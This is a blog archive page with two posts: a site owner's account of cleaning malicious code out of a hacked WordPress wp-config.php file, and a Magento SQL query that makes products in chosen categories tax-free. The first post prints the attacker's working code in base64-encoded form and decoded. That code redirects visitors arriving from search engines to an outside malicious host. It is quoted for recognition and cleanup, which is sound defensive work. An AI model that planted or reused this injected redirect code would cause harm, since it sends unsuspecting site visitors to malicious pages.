Archive for August, 2013

Today I discovered that accessing my website through Google caused the site to redirect to a malicious URL. Accessing the site directly didn’t cause the redirect to initiate (because the developers of this attack specifically target search engine referrals). It’s clever, as the site owner may never become aware of the attack unless they happen to Google their own site, then try accessing it.

The method of this attack is simple. Gain access to a core WordPress file and inject some code that initiates a redirect to a specific URL.

In my case, the injected file was wp-config.php, located in the WordPress root directory.

Opening wp-config.php, I found at the top:

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikgYW5kICFzdHJpc3RyKCR1YWcsIk1TSUUgNi4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9oZW5mcmEudml6dmF6LmNvbS8iKTsKZXhpdCgpOw0KfQp9DQp9DQp9DQp9"));

The attacker encoded the script in a base_64 encryption, which is clever because it prevents you from searching through the file system for the known redirect URL. When someone visits your site, the code is decoded, then executed.

Using a site such as base64decode.org, you can easily see what the script contents are:

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag)
  {
        if (!stristr($uag,"MSIE 7.0") and !stristr($uag,"MSIE 6.0"))
  {
            if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com"))
            {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl"))
    {
        header("Location: http://henfra.vizvaz.com/");
        exit();
    }
            }
        }
    }
}

You can see how the scripts checks for specific referrals, albeit being poorly written.

Simply removing the injected code from the file and re-saving it will prevent the malicious redirection from occurring. If it’s still happening, you may want to do a site-wide search for eval or base_64, as you know the attacker uses these functions to execute their code.

I hope this helps someone facing a similar issue. Remember, always keep your WordPress (or any CMS for that matter) up to date to prevent known security holes from being exploited.

With tax free season coming around, majority of my Magento clients requested that products set to specific categories be made tax free.

Magento sets the tax_class_id attribute on the product level, which would require me doing a batch update of the products, however I can’t set a filter to specific categories which puts me back to square one.

Below is a simple SQL query that will update all products to a Tax Class of None, based on a set of category ids I define.

WARNING: Always do a complete database backup before running SQL queries against your database


UPDATE catalog_product_entity_int cpei
SET cpei.value = 0
WHERE cpei.attribute_id = (SELECT attribute_id FROM eav_attribute WHERE attribute_code = 'tax_class_id')
AND cpei.value = 2
AND cpei.entity_id IN (
    SELECT product_id AS entity_id FROM catalog_category_product
    WHERE category_id IN (1,2,3,4,5,6,7,8,9)
  )

Be sure to replace this section

WHERE category_id IN (1,2,3,4,5,6,7,8,9)
to include the comma separate list of category_id values you wish to apply this to.

You can also change the tax_class_id you set these products to by modifying this line:

SET cpei.value = 0
. Change the 0 to the value of the tax_class_id you wish to set it to.

After applying the SQL query, be sure to update the Product Flat Data under System > Index Management, then refresh all of your Magento caches under System > Cache Management